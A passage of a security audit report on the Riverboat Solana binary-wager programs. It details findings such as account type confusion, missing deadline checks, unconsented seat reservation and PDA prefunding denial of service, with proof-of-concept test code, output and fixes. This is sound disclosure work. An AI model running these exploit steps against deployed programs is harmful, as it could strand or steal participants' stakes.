SLOT ZERO
SECURITY

SECURITY REVIEW · PREPARED FOR

Riverboat

Mainnet Alpha v0.9

DATE	CONDUCTED BY	COMMIT	REMEDIATION
12 May 2026	Kyan Sharma, Security Researcher Zuhaib Mohammed, Security Researcher	d21390e	e044bad

Contents

1 About Slot Zero Security

Slot Zero Security is a smart contract security team focused on practical, adversarial review of crypto systems. Our researchers combine manual code analysis, state-machine reasoning, targeted proof-of-concept testing, and remediation support to identify vulnerabilities that matter in production. We work closely with engineering teams to validate fixes, communicate risk clearly, and help protocols ship with stronger security assumptions.

2 Disclaimer

This report was prepared for the Riverboat Mainnet Alpha v0.9 Solana program snapshot. Security reviews are time-boxed and scope-bound. They reduce risk by identifying issues visible within the reviewed snapshot and validating remediations reviewed during the engagement, but they cannot prove the absence of all vulnerabilities. This report should be read as a point-in-time assessment of the scoped code and reviewed remediation snapshot.

3 System Overview

The reviewed Riverboat Mainnet Alpha v0.9 snapshot is a native Solana Rust protocol for binary outcome wagers. This release implements contract creation, chunked terms writing, wager creation, two-seat participation, lamports-only deposits, prediction submission, seat locking, peer-consensus resolution, and payout claims.

The system is intentionally bounded, but the security surface is meaningful because value and authority move across several manually validated account types:

i) **Contracts and terms** define the wager context and whether a market is finalized.

ii) **Wagers** hold the contract reference, stake size, deadline, vault metadata, and settlement result.

iii) **Seats** represent participant authority, prediction state, lock status, resolution data, and payout/risk data.

iv) **Vault PDAs** custody lamports used for stake settlement.

Because the codebase is native Solana rather than Anchor, correctness depends directly on explicit account ownership checks, PDA derivation, signer validation, account type separation, and state-transition rules in the processors.

3.1 Technical Overview

The Mainnet Alpha v0.9 implementation is split across two native Solana programs with shared state and helper logic in `protocol`.

i) **Contract program:** creates `Contract` PDAs from creator and headline seeds, optionally creates companion `Terms` PDAs, and supports chunked terms writing until finalization.

ii) **Wager program:** creates keypair-backed `Wager` accounts, creates vault PDAs for lamport custody, creates deterministic two-seat `Seat` PDAs, accepts deposits, records predictions, locks seats, records peer-consensus resolution data, and pays out settled wagers.

iii) **Protocol state:** defines the serialized layouts for `Contract`, `Terms`, `Wager`, `Seat`, prediction data, resolution data, and payout/risk calculations.

The primary assumed attacker is an adversarial wager creator or participant interacting through normal Solana transactions. Validator-level ordering, frontend compromise, production key custody, and deployment administration were not modeled as primary attack surfaces in this review.

3.2 Overall Security Posture

Before Remediation

The reviewed snapshot had a clean and compact architecture, but several security invariants were enforced only partially. The strongest themes were account-binding gaps, lifecycle liveness risk, settlement validation gaps, and missing account type separation between `Contract` and `Terms`.

The largest risks came from Riverboat-specific state-machine assumptions rather than generic Rust or Solana boilerplate. The important invariants were:

i) every `Seat` must belong to the `Wager` it was derived for;

ii) predictable `Seat` PDAs must remain safe even if an attacker prefunds them before initialization;

iii) a locked participant's payout and risk data must not be rewriteable by another participant;

iv) finalized terms must mean the complete intended terms are written and immutable;

v) binary settlement must reject unsupported outcome values before payout logic runs.

After Remediation

The Riverboat team responded quickly and shipped fixes for the issues marked as fixed during the review window. Those fixes were validated against remediation snapshot `e044bad`. Account-binding, timestamp ordering, system-program validation, instruction parsing, stale seat metadata, and settlement-domain validation received remediation coverage.

The acknowledged liveness items are treated as accepted tradeoffs for this snapshot because close, refund, reopen, and recovery flows were not part of the reviewed code.

3.3 Security Recommendations

i) Keep 8-byte account discriminator checks centralized for every persisted `Contract`, `Terms`, `Wager`, and `Seat` account load.

ii) Monitor `Wager` accounts where `seat_count == seat_capacity`, the result is still pending, and `lock_by` or the expected resolution horizon has passed.

iii) Alert on vault PDAs that retain lamports after all eligible seats have been paid or after a wager remains unresolved beyond its expected deadline.

iv) Track reserved but unfunded seats past `lock_by` as accepted liveness debt for this snapshot.

v) Treat frontend and indexer behavior as operational support, not as a substitute for on-chain signer, PDA, discriminator, and state-transition checks.

vi) Preserve the validated account-binding, discriminator, and state-transition invariants when close, refund, reopen, or recovery instructions are added.

4 Executive Summary

4.1 Overview

The review covered the Riverboat Mainnet Alpha v0.9 Solana programs at commit `d21390e`. Remediation validation was performed against commit `e044bad`. Full snapshot hashes are listed below. The reviewed value-moving flow is binary wagers funded in lamports only. Close, refund, and recovery instructions were not present in the reviewed snapshot and are treated as deferred scope.

4.2 Timeline

Initial review window	27 April 2026 to 8 May 2026
Report date	12 May 2026
Review type	Manual review
Release name	Mainnet Alpha v0.9
Remediation Review	Performed as fixes were submitted
Snapshot	`d21390ec07095e72391c05fb660822c119fec1d6`
Remediation	`e044badc81a454daea9bd835f8dd64c2eea5eea9`

4.3 Scope

In scope: `contract_program`, `wager_program`, and security-relevant shared logic in `protocol`.
Instructions reviewed: `write_contract`, `append_terms`, `make_wager`, `take_seat`, `process_deposit`, `set_prediction_data`, `lock_seat`, `set_seat_resolution`, `claim_payout`.
Out of scope: recovery instructions not present in the snapshot, frontend code, deployment infrastructure, production key management, upgrade/admin controls, and future settlement paths outside lamports.

4.4 Issues Found

Severity	Total	Fixed and Validated	Acknowledged	Open
Critical	0	0	0	0
High	0	0	0	0
Medium	5	4	1	0
Low	11	9	2	0
Informational	3	2	1	0

Status definitions:
Fixed and Validated: Remediation was reviewed against the remediation snapshot and relevant fix behavior was validated.
Acknowledged: the Riverboat team accepted the issue or residual risk, but it was not fully remediated in this snapshot.
Open: the issue remained unresolved at the time of this report.

4.5 Findings Summary

ID	Severity	Title	Status
M-01	Medium	Account Type Confusion Allows `Terms` Account To Be Used As A Finalized `Contract`	**Fixed and Validated**
M-02	Medium	Wagers can be created and progressed after `Contract.resolves_by` because only `wager.lock_by` is enforced	**Fixed and Validated**
M-03	Medium	`take_seat` consumes capacity without authority acceptance	**Acknowledged**
M-04	Medium	Predictable seat PDA creation can be blocked by prefunding	**Fixed and Validated**
M-05	Medium	Seat state can be bound to a different wager than its PDA derivation	**Fixed and Validated**
L-01	Low	`calc_risk` divides before multiplying causing systematic precision loss in payout calculation	**Fixed and Validated**
L-02	Low	Binary market resolution accepts arbitrary non-binary outcome values, enabling wrong payouts or permanent fund lock	**Fixed and Validated**
L-03	Low	Locked seat payout data can be rewritten by the remaining staked participant	**Acknowledged**
L-04	Low	Use of `data.borrow()` / `data.borrow_mut()` in account handling can panic on borrow conflicts instead of returning `ProgramError`	**Fixed and Validated**
L-05	Low	`append_terms` missing content bounds allows empty finalization and unbounded terms sizing	**Fixed and Validated**
L-06	Low	Resolution and payout paths miss seat index and final result validation	**Fixed and Validated**
L-07	Low	Zero-stake wagers permitted by `valid_stake`	**Acknowledged**
L-08	Low	Missing validation of `lock_by` at wager creation allows instantly expired wagers	**Fixed and Validated**
L-09	Low	`append_terms` plaintext capacity overcounts Borsh content overhead	**Fixed and Validated**
L-10	Low	`write_contract` accepts `resolves_by` timestamps in the past	**Fixed and Validated**

L-11	Low	Missing System Program Identity Validation in `write_contract`, `make_wager`, and `take_seat`	**Fixed and Validated**
I-01	Informational	`last_change_at` is never updated on prediction write	**Fixed and Validated**
I-02	Informational	`LockSeat` instruction accepts trailing bytes in `instruction_data`	**Fixed and Validated**
I-03	Informational	Generic `ProgramError` variants used for distinct protocol failures	**Acknowledged**

5 Findings

Medium Severity

[M-01] Account Type Confusion Allows `Terms` Account To Be Used As A Finalized `Contract`

`make_wager` accepts a `contract_account`, but only verifies that the account is owned by `CONTRACT_PROGRAM_ID`. It does not verify that the account is actually a `Contract` account.

Both `Contract` and `Terms` accounts are owned by `CONTRACT_PROGRAM_ID`, and neither type has a discriminator. Because of this, a `Terms` account can be passed where the wager program expects a `Contract`.

The root cause is:

```
if contract_account.owner != &CONTRACT_PROGRAM_ID {
    return Err(ProgramError::IncorrectProgramId);
}

let contract = Contract::deserialize(&mut &contract_account.data.borrow()[..])?;
```

Since `Terms.content` is attacker-controlled through `append_terms`, the attacker can craft the raw `Terms` bytes so they deserialize as a valid `Contract` with:

i) `finalized = true`
ii) `resolved = false`
iii) `outcomes = Binary`

This bypasses the intended invariant that wagers can only be created against finalized contracts.

The same confused `Contract::deserialize` pattern is reused in `take_seat`, allowing the seat-taking path to continue with the same fake contract view.

Impact

An attacker can create a wager that points to a mutable `Terms` account instead of a real finalized `Contract`.

The impact is meaningful because a victim can join the wager, deposit stake, set a prediction, and lock their seat while believing the wager references stable terms. After the victim is locked, the attacker can still mutate the referenced `Terms` account because the real parent `Contract` was never finalized.

Proof of Concept

i) Place the account type confusion PoC test in `wager_program/tests/`.
ii) Run: `cargo test -p wager_program --test test_account_type_confusion`

The PoC demonstrates:

i) Attacker creates unfinalized `ContractA` with `TermsA`.
ii) Attacker writes forged bytes to `TermsA`.
iii) `TermsA` deserializes as a finalized `Contract`.
iv) Attacker calls `make_wager` with `contract_account = TermsA`.
v) Victim calls `take_seat`.
vi) Attacker sets readable pre-lock terms: `"Bitcoin price 50000$"`.
vii) Victim deposits, sets prediction, and calls `lock_seat`.
viii) Attacker mutates terms after lock to `"Bitcoin price 75000$"`.

Test Output:

```
test_terms_account_type_confusion_poc stdout

=== Account type confusion PoC (Terms passed as Contract) ===

INFO Loaded both programs from target/deploy/
INFO attacker      = 8CpTjSDVLKJ4CqDn5ShRi4X9pqS6p72ugKNZryvWw1B8
INFO seat_taker    = FRQXcUveWTNEJfeLhNzVi4UUYbuXGHghmp3s722LUZRC
INFO wager_keypair = BvtNqoYXRQpbk8zHYngWHiNKYudNwKmbZLNV1anCWfk3
INFO contract_pda=6wR6vLhrs2hL38ewfk4CTt39DoU3Y5T3GbUMSCQn1grr
INFO terms_pda   =CkDJMiCe9UJKafWqfddKR878WEcjaHW5QEnjV8ogMCcT
CALL write_contract
OK   write_contract (unfinalized parent + empty Terms)
CALL append_terms (forge Contract image into Terms.content)
OK   append_terms (forged body; UTF-8 chunk passes String::from_utf8)
INFO Real Contract PDA: finalized=false resolved=false
INFO Terms reinterpreted as Contract: finalized=true resolved=false outcomes=Binary
INFO vault_pda=TjmGEUFMUPFwyaiExZwrn6q3jeQmJDWuVaJSnuhRxLm
CALL make_wager (contract_account = terms_pda)
OK   make_wager (contract_account slot = terms_pda)
INFO seat_pda (index 0)=GseT7X7fAD2uSdrDMU13LCQK2ibbkaTFZzRqTyNHbhnj
CALL take_seat (contract_account = terms_pda)
OK   take_seat (same terms_pda as contract_account)
INFO Wager stores contract pubkey = CkDJMiCe9UJKafWqfddKR878WEcjaHW5QEnjV8ogMCcT (this is the Terms PDA,
     not the Contract PDA)
INFO wager.seat_count=1
CALL append_terms (set pre-lock human-readable terms)
OK   append_terms (pre-lock terms = 'Bitcoin price 50000$')
CALL process_deposit
OK   process_deposit (seat taker stakes into confused wager)
CALL set_prediction_data
OK   set_prediction_data (seat taker records prediction)

TERMS STATE: before lock_seat
terms_pda          = CkDJMiCe9UJKafWqfddKR878WEcjaHW5QEnjV8ogMCcT
terms.contract     = 6wR6vLhrs2hL38ewfk4CTt39DoU3Y5T3GbUMSCQn1grr
terms.content.len  = 20
terms.content      = "Bitcoin price 50000$"
============================

CALL lock_seat
OK   lock_seat (seat taker can no longer change prediction)
INFO Seat is now locked: status=Locked, prediction=Binary(75)
CALL append_terms (malicious mutation after lock)
OK   append_terms after lock_seat (metadata changes after user commitment)

TERMS STATE: after append_terms (post-lock mutation)
terms_pda          = CkDJMiCe9UJKafWqfddKR878WEcjaHW5QEnjV8ogMCcT
terms.contract     = 6wR6vLhrs2hL38ewfk4CTt39DoU3Y5T3GbUMSCQn1grr
```

```
terms.content.len  = 20
terms.content      = "Bitcoin price 75000$"
============================

INFO Terms content changed after locked prediction: confirmed

=== PoC finished ===
```

Recommendation

Add discriminators to stored account types, e.g. `CONTRACT_TAG` and `TERMS_TAG`, and verify the tag before deserializing.

```
// protocol/src/state.rs (or a shared constants module)
const CONTRACT_DISCRIMINATOR: u8 = 1;
const TERMS_DISCRIMINATOR: u8 = 2;

// wager_program/src/processor.rs (make_wager / take_seat)
let data = contract_account.try_borrow_data()?;
if data[0] != CONTRACT_DISCRIMINATOR {
    return Err(ProgramError::InvalidAccountData); // or a custom InvalidAccountType error
}
let contract = Contract::deserialize(&mut &data[1..])?;
```

Team Response

Fixed and Validated. The Riverboat team added 8-byte account discriminators and centralized account loading through a discriminator-checking helper. As a result, `Terms` accounts can no longer be deserialized or used where the wager program expects a `Contract` account.

[M-02] Wagers can be created and progressed after `Contract.resolves_by` because only `wager.lock_by` is enforced

`Contract` stores a resolution deadline (`resolves_by`) that defines when the underlying event is expected to be settled / knowable. The wager program never reads or enforces this field.

`make_wager` only requires the contract to be `finalized` and not `resolved` (`contract.resolved == false`). That flag is not tied to the wall clock. So after real time passes `resolves_by`, the outcome may already be known off-chain while `contract.resolved` is still false. In that window, anyone can still open a new `Wager` linked to that contract.

Lifecycle checks (`take_seat`, `process_deposit`, `set_prediction_data`, `lock_seat`) only compare the clock to `wager.lock_by`, not to `contract.resolves_by`. There is also no validation that `lock_by` must be strictly before `resolves_by`, so the lock window can extend past the contract's resolution cutoff.

Together, this breaks the intended ordering: commitments should be frozen before the event is knowable; the code only enforces "before this wager's `lock_by`," not "before the contract's resolution horizon."

Impact

An informed party can create or shape a wager after the event outcome is already knowable (but before `contract.resolved` is updated), then complete the normal flow (stake, predictions, lock, peer resolution, claim). A counterparty who joins without the same information can lose their **full stake** to the informed side. This is a material fairness and economic integrity failure for a prediction-style wager protocol, not a cosmetic bug.

Proof of Concept

Preconditions

1. A finalized `Contract` exists with a future-looking headline (e.g. "Will Bitcoin reach $100k before 2026-01-01 00:00 UTC?") and `resolves_by` set to that cutoff.
2. In the real world, the event resolves before anyone sets `contract.resolved` on-chain (e.g. Bitcoin hits $100k one minute before `resolves_by`, or any delay where the outcome is public but the chain still shows `resolved == false`).
3. **A second party must take the opposite seat**: the attack needs a victim (or second participant) who deposits stake and takes the other side; the informed attacker alone cannot extract the victim's funds without that counterparty joining the same wager.

Alice / Bob scenario (using the Bitcoin example)

1. **Contract state:** `finalized == true`, `resolved == false`, `resolves_by == 2026-01-01 00:00 UTC`.
2. **Real world:** Shortly before or after that instant, it becomes public knowledge that Bitcoin has hit $100k (the proposition is effectively decided). On-chain, `contract.resolved` is still `false` because no resolution instruction has been processed yet.
3. **Alice (attacker)** calls `make_wager` on that contract. She sets `lock_by` to a time still in the future (e.g. one hour from `now`). The program accepts the wager because it does **not** check `now < contract.resolves_by` and does **not** reject `lock_by >= contract.resolves_by`.
4. **Bob (victim)** sees a normal-looking open wager: `lock_by` is in the future, the contract is not marked resolved on-chain. He calls `take_seat`, takes the **opposite** seat from Alice, and `process_deposit` with the full stake. (Without Bob taking the other seat, Alice cannot realize profit from Bob's stake through the normal two-party payout path.)
5. Before `lock_by`, both use `set_prediction_data` and `lock_seat`. Alice locks a prediction aligned with the **known** outcome (e.g. "Yes"). Bob locks based on incomplete or wrong beliefs (e.g. "No") or later agrees with reality on resolution. The important point is Alice entered with **certainty** while Bob entered under the false impression the market was still fair relative to public information.
6. `set_seat_resolution`: They report judgments; if they agree on the actual outcome, consensus settles the wager. `claim_payout`: The side that matches the settled outcome and the risk engine receives the economic benefit; Bob can lose up to his full stake relative to Alice.

Recommendation

In `make_wager`, after deserializing the `Contract`:

1. Reject wager creation once the resolution deadline has passed:

i) If the current timestamp is greater than or equal to `contract.resolves_by`, return an error such as `InvalidAccountData` or a dedicated `ProtocolError`.

2. Require the wager's lock window to end no later than the contract's resolution cutoff:

i) If `dto.lock_by` is greater than or equal to `contract.resolves_by`, return `InvalidArgument`.

Team Response

Fixed and Validated. The Riverboat team now enforces `current_time < lock_by <= contract.resolves_by` during wager creation. This prevents new wagers from being created after the contract resolution horizon and prevents the wager lock window from extending beyond the underlying contract deadline.

Boundary note: the remediation permits `lock_by == contract.resolves_by`. This is acceptable only if `resolves_by` is treated as the final lock deadline rather than the first instant the outcome can become knowable. If the product semantics require a strict buffer before the resolution horizon, the stronger condition is `lock_by < contract.resolves_by`.

[M-03] `take_seat` consumes capacity without authority acceptance

`take_seat` is missing a check that the stored seat authority accepted or signed for the seat.

The instruction only requires the payer to sign, but stores caller-controlled `dto.authority` as `Seat.authority`. Later lifecycle instructions require `Seat.authority` to sign. This lets a payer reserve a seat for an authority that never accepted and may never be able to progress the seat.

In the reviewed release, wagers have two seats. If the remaining seat is reserved for a non-consenting or unavailable authority after another participant has deposited, `seat_count` can reach capacity while the wager cannot progress to settlement or payout. No reviewed instruction can replace, reopen, close, or refund the blocked seat.

The same missing recovery path also affects early deposits: stake can enter the vault before all seats are controlled by authorities able to continue the wager. This is supporting evidence, not a separate root cause.

Relevant code paths:

i) `wager_program/src/processor.rs:236`: `take_seat` requires only the payer to sign
ii) `wager_program/src/processor.rs:287`: `take_seat` stores caller-controlled `dto.authority`
iii) `wager_program/src/processor.rs:267`: `take_seat` uses `wager.seat_count` as the next seat index
iv) `wager_program/src/processor.rs:328`: `wager.seat_count` is incremented after seat creation
v) `wager_program/src/processor.rs:399`: `process_deposit` has no full-capacity check before accepting funds
vi) `wager_program/src/processor.rs:426`: later deposits require the stored seat authority
vii) `wager_program/src/resolution/consensus.rs:6`: peer consensus does not settle fewer than two judgments
viii) `wager_program/src/processor.rs:898`: payout requires a settled wager
ix) `wager_program/src/instruction.rs:10`: the reviewed release does not implement close, refund,

or seat-reopen instructions

Impact

A third party can reserve the remaining seat for a public key that did not consent and may never sign. If another participant has already deposited, the blocked seat cannot progress because later lifecycle instructions require the stored authority. No new seat can be created because `seat_count` has reached capacity, and the wager cannot reach settlement or payout. The deposited stake remains in the vault with no current recovery path.

This is a Medium severity funds-availability/liveness issue. It does not enable theft or direct attacker profit, and the disruption is scoped to individual wagers rather than the whole protocol.

Proof of Concept

The following LiteSVM PoC can be added as an integration test.

```
#[test]
fn poc_unconsented_seat_reservation_fills_capacity() {
    let mut h = Harness::new(10_000);
    let seat0 = h.seat_pda(0);
    let seat1 = h.seat_pda(1);
    let seat2 = h.seat_pda(2);
    let wager_key = h.wager_account.pubkey();
    let (non_signing_authority, _) = Address::find_program_address(
        &[b"unavailable-authority", wager_key.as_ref()],
        &h.program_id,
    );

    let ix = h.take_seat_ix(h.payer.pubkey(), seat0, h.payer.pubkey());
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let vault_before_deposit = h.svm.get_account(&h.vault_pda).unwrap().lamports;
    let ix = h.deposit_ix(h.payer.pubkey(), seat0, 10_000);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    assert_eq!(
        h.svm.get_account(&h.vault_pda).unwrap().lamports,
        vault_before_deposit + 10_000,
    );

    let ix = h.take_seat_ix(h.attacker.pubkey(), seat1, non_signing_authority);
    assert!(send(&mut h.svm, ix, &h.attacker, &[&h.attacker]));

    let wager = h.wager();
    assert_eq!(wager.seat_count, wager.seat_capacity);
    assert_eq!(h.seat(seat1).authority, non_signing_authority);
    assert_eq!(h.seat(seat1).status, SeatStatus::Reserved);

    let ix = h.deposit_ix(h.attacker.pubkey(), seat1, 10_000);
    assert!(!send(&mut h.svm, ix, &h.attacker, &[&h.attacker]));

    let ix = h.take_seat_ix(h.challenger.pubkey(), seat2, h.challenger.pubkey());
    assert!(!send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));

    let ix = h.set_prediction_ix(h.payer.pubkey(), 0, 95, seat0, seat1);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.lock_ix(h.payer.pubkey(), seat0);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    assert_eq!(h.seat(seat0).status, SeatStatus::Locked);

    let mut expired_clock = Clock::default();
    expired_clock.unix_timestamp = h.wager().lock_by;
    h.svm.set_sysvar(&expired_clock);

    let ix = h.deposit_ix(h.attacker.pubkey(), seat1, 10_000);
    assert!(!send(&mut h.svm, ix, &h.attacker, &[&h.attacker]));
```

```
    let ix = h.set_resolution_ix(
        h.payer.pubkey(),
        0,
        Judgment::SingleOutcome(EventResult::Push),
        seat0,
        seat1,
    );
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    assert!(!h.wager().result.is_settled());
    let ix = h.claim_payout_ix(h.payer.pubkey(), 0, seat0, seat1);
    assert!(!send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    assert_eq!(
        h.svm.get_account(&h.vault_pda).unwrap().lamports,
        vault_before_deposit + 10_000,
    );
}

#[test]
fn poc_deposit_before_capacity_can_strand_stake_without_counterparty() {
    let mut h = Harness::new(10_000);
    let seat0 = h.seat_pda(0);
    let seat1 = h.seat_pda(1);

    let ix = h.take_seat_ix(h.payer.pubkey(), seat0, h.payer.pubkey());
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    assert_eq!(h.wager().seat_count, 1);

    let vault_before_deposit = h.svm.get_account(&h.vault_pda).unwrap().lamports;
    let ix = h.deposit_ix(h.payer.pubkey(), seat0, 10_000);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    assert_eq!(
        h.svm.get_account(&h.vault_pda).unwrap().lamports,
        vault_before_deposit + 10_000,
    );

    let ix = h.set_prediction_accounts_ix(h.payer.pubkey(), 0, 95, &[seat0]);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    let ix = h.lock_ix(h.payer.pubkey(), seat0);
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));

    let lock_by = h.wager().lock_by;
    set_clock(&mut h, lock_by);

    let ix = h.take_seat_ix(h.challenger.pubkey(), seat1, h.challenger.pubkey());
    assert!(!send(&mut h.svm, ix, &h.challenger, &[&h.challenger]));

    let ix = h.set_resolution_accounts_ix(
        h.payer.pubkey(),
        0,
        Judgment::SingleOutcome(EventResult::Push),
        &[seat0],
    );
    assert!(send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    assert!(!h.wager().result.is_settled());

    let ix = h.claim_payout_accounts_ix(h.payer.pubkey(), 0, &[seat0]);
    assert!(!send(&mut h.svm, ix, &h.payer, &[&h.payer]));
    assert_eq!(
        h.svm.get_account(&h.vault_pda).unwrap().lamports,
        vault_before_deposit + 10_000,
    );
}
```

Run:

```
cargo test -p wager_program --test poc_findings poc_unconsented_seat_reservation_fills_capacity
cargo test -p wager_program --test poc_findings
     poc_deposit_before_capacity_can_strand_stake_without_counterparty
```

Test output:

```
running 1 test
test poc_unconsented_seat_reservation_fills_capacity ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 26 filtered out; finished in 0.09s

running 1 test
test poc_deposit_before_capacity_can_strand_stake_without_counterparty ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 26 filtered out; finished in 0.08s
```

Recommendation

Require the stored seat authority to consent before capacity is consumed, and ensure any independently deposited stake is refundable after `lock_by` if all canonical seats do not fund and lock.

If sponsored seat creation is not required, the simplest fix is to require `dto.authority == payer.key` in `take_seat` and construct the seat from verified account keys:

```
if dto.wager != *wager_account.key {
    return Err(ProgramError::InvalidArgument);
}

if dto.authority != *payer.key {
    return Err(ProgramError::MissingRequiredSignature);
}

let seat = Seat {
    wager: *wager_account.key,
    authority: *payer.key,
    // ...
};
```

If sponsored seat creation is required, pass the intended authority as a separate signer while allowing another account to pay rent:

```
let authority = next_account_info(accounts_iter)?;

if !authority.is_signer {
    return Err(ProgramError::MissingRequiredSignature);
}

if dto.authority != *authority.key {
    return Err(ProgramError::InvalidArgument);
}

let seat = Seat {
    wager: *wager_account.key,
    authority: *authority.key,
    // ...
};
```

Alternatively, add an explicit accept/invitation flow:

```
invite_seat(authority) -> records pending invite, does not consume capacity
accept_seat()          -> authority signs, seat PDA is created, seat_count increments
```

Also avoid accepting deposits independently unless the reviewed release includes a recovery path. A full-capacity check helps the "no counterparty ever arrives" case, but it does not solve the case where the second seat exists and never funds or locks:

```
if wager.seat_count != wager.seat_capacity {
    return Err(ProtocolError::InvalidAccountStatus.into());
}
```

If independent deposits remain allowed, add a timeout recovery instruction. After `lock_by`, if not all canonical seats are staked/locked, refund only seats that actually reached `Staked` or `Locked`, mark them as refunded/closed/non-claimable, and close or reclaim vault/seat rent where possible.

Team Response

Acknowledged. The Riverboat team acknowledged this as a current-release liveness risk and plans to handle it in a future release through `open_seat` or another recovery flow. Until that recovery path exists on-chain, seat reservation without authority consent remains an accepted launch tradeoff.

[M-04] Predictable seat PDA creation can be blocked by prefunding

Seat PDAs are deterministic and created with `system_instruction::create_account`. For a wager, `take_seat` uses the current `wager.seat_count` as the next seat index, and derives the seat address from:

```
["seat", wager_account, seat_index]
```

In the reviewed release, seat indexes are predictably `0` and `1`. Once a wager account is known, an attacker can transfer the rent-exempt minimum for a zero-data account to a future seat PDA before it is initialized. The prefunded address remains system-owned and zero-data, but it has non-zero lamports. Later `take_seat` calls attempt to create the same PDA using plain `create_account`, which fails because the destination already has lamports.

Relevant code paths:

i) `wager_program/src/processor.rs`: `take_seat` uses `wager.seat_count` as the next deterministic index
ii) `wager_program/src/processor.rs`: seat PDA is derived from `[b"seat", wager_account.key, index]`
iii) `wager_program/src/processor.rs`: seat creation uses `system_instruction::create_account`
iv) `wager_program/src/processor.rs`: `seat_count` increments only after account creation and serialization succeed
v) `wager_program/src/resolution/consensus.rs`: peer consensus does not settle with fewer than two seat judgments
vi) `wager_program/src/instruction.rs`: the reviewed release has no close, refund, or seat-reopen instruction

Impact

This is a low-cost liveness DoS against any unfilled wager once its wager account is observable. The next seat PDA is derived from `wager.seat_count`, so an attacker can prefund the uninitialized seat PDA before an honest participant tries to take it. The subsequent `take_seat` call fails at `create_account`, leaving `seat_count` below capacity.

If one participant has already deposited, the reviewed release exposes no close, refund, or seat-reopen instruction. Peer consensus cannot settle with fewer than two seats, and `claim_payout` requires a settled wager, so the deposited stake remains locked in the vault for the current lifecycle.

This does not give the attacker a direct profit and does not let them steal funds. The impact is third-party griefing and stranded funds in the current implementation.

Proof of Concept

The following LiteSVM PoC can be added as an integration test. The code block includes the relevant test logic inline; it uses the same harness style as the repository's existing LiteSVM tests to create a wager, derive seat PDAs, send transactions, and read account state.

```
#[test]
fn poc_prefunded_seat_pda_blocks_take_seat() {
    let mut h = Harness::new(10_000);
    let seat0 = h.seat_pda(0);
    let prefund_lamports = Rent::default().minimum_balance(0);

    let prefund_ix = system_instruction::transfer(&h.attacker.pubkey(), &seat0, prefund_lamports);
    assert!(send(&mut h.svm, prefund_ix, &h.attacker, &[&h.attacker]));
    assert_eq!(
        h.svm.get_account(&seat0).unwrap().lamports,
        prefund_lamports
    );

    let take_ix = h.take_seat_ix(h.payer.pubkey(), seat0, h.payer.pubkey());
    assert!(!send(&mut h.svm, take_ix, &h.payer, &[&h.payer]));
    assert_eq!(h.wager().seat_count, 0);
}

#[test]
fn poc_prefunded_next_seat_pda_strands_existing_deposit() {
    let mut h = Harness::new(10_000);
    let seat0 = h.seat_pda(0);
    let seat1 = h.seat_pda(1);
    let prefund_lamports = Rent::default().minimum_balance(0);

    let take0_ix = h.take_seat_ix(h.payer.pubkey(), seat0, h.payer.pubkey());
    assert!(send(&mut h.svm, take0_ix, &h.payer, &[&h.payer]));
    let deposit0_ix = h.deposit_ix(h.payer.pubkey(), seat0, 10_000);
    assert!(send(&mut h.svm, deposit0_ix, &h.payer, &[&h.payer]));
    let vault_after_deposit = h.svm.get_account(&h.vault_pda).unwrap().lamports;

    let prefund_ix = system_instruction::transfer(&h.attacker.pubkey(), &seat1, prefund_lamports);
    assert!(send(&mut h.svm, prefund_ix, &h.attacker, &[&h.attacker]));

    let take1_ix = h.take_seat_ix(h.challenger.pubkey(), seat1, h.challenger.pubkey());
    assert!(!send(&mut h.svm, take1_ix, &h.challenger, &[&h.challenger]));
    assert_eq!(h.wager().seat_count, 1);
    assert_eq!(
        h.svm.get_account(&h.vault_pda).unwrap().lamports,
        vault_after_deposit
    );

    let predict0_ix = Instruction::new_with_bytes(
        h.program_id,
```

```
        &to_vec(&WagerInstruction::SetPredictionData {
            dto: SeatPredictionData {
                seat_index: 0,
                prediction: Prediction::Binary(95),
            },
        })
        .unwrap(),
        vec![
            AccountMeta::new(h.payer.pubkey(), true),
            AccountMeta::new(h.wager_account.pubkey(), false),
            AccountMeta::new(seat0, false),
        ],
    );
    assert!(send(&mut h.svm, predict0_ix, &h.payer, &[&h.payer]));
    let lock0_ix = h.lock_ix(h.payer.pubkey(), seat0);
    assert!(send(&mut h.svm, lock0_ix, &h.payer, &[&h.payer]));

    let resolution0_ix = Instruction::new_with_bytes(
        h.program_id,
        &to_vec(&WagerInstruction::SetSeatResolution {
            dto: SeatResolutionData {
                seat_index: 0,
                resolution: Some(Judgment::SingleOutcome(EventResult::Push)),
            },
        })
        .unwrap(),
        vec![
            AccountMeta::new(h.payer.pubkey(), true),
            AccountMeta::new(h.wager_account.pubkey(), false),
            AccountMeta::new(seat0, false),
        ],
    );
    assert!(send(&mut h.svm, resolution0_ix, &h.payer, &[&h.payer]));
    assert!(!h.wager().result.is_settled());

    let claim0_ix = Instruction::new_with_bytes(
        h.program_id,
        &to_vec(&WagerInstruction::ClaimPayout {
            dto: wager_program::dto::SeatPayoutData { seat_index: 0 },
        })
        .unwrap(),
        vec![
            AccountMeta::new(h.payer.pubkey(), true),
            AccountMeta::new_readonly(system_program::id(), false),
            AccountMeta::new(h.wager_account.pubkey(), false),
            AccountMeta::new(h.vault_pda, false),
            AccountMeta::new(seat0, false),
        ],
    );
    assert!(!send(&mut h.svm, claim0_ix, &h.payer, &[&h.payer]));
    assert_eq!(
        h.svm.get_account(&h.vault_pda).unwrap().lamports,
        vault_after_deposit
    );
}
```

Run:

```
cargo test -p wager_program --test poc_findings poc_prefunded_seat_pda_blocks_take_seat
cargo test -p wager_program --test poc_findings poc_prefunded_next_seat_pda_strands_existing_deposit
```

Test output:

```
running 1 test
test poc_prefunded_seat_pda_blocks_take_seat ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 24 filtered out; finished in 0.13s

running 1 test
```

```
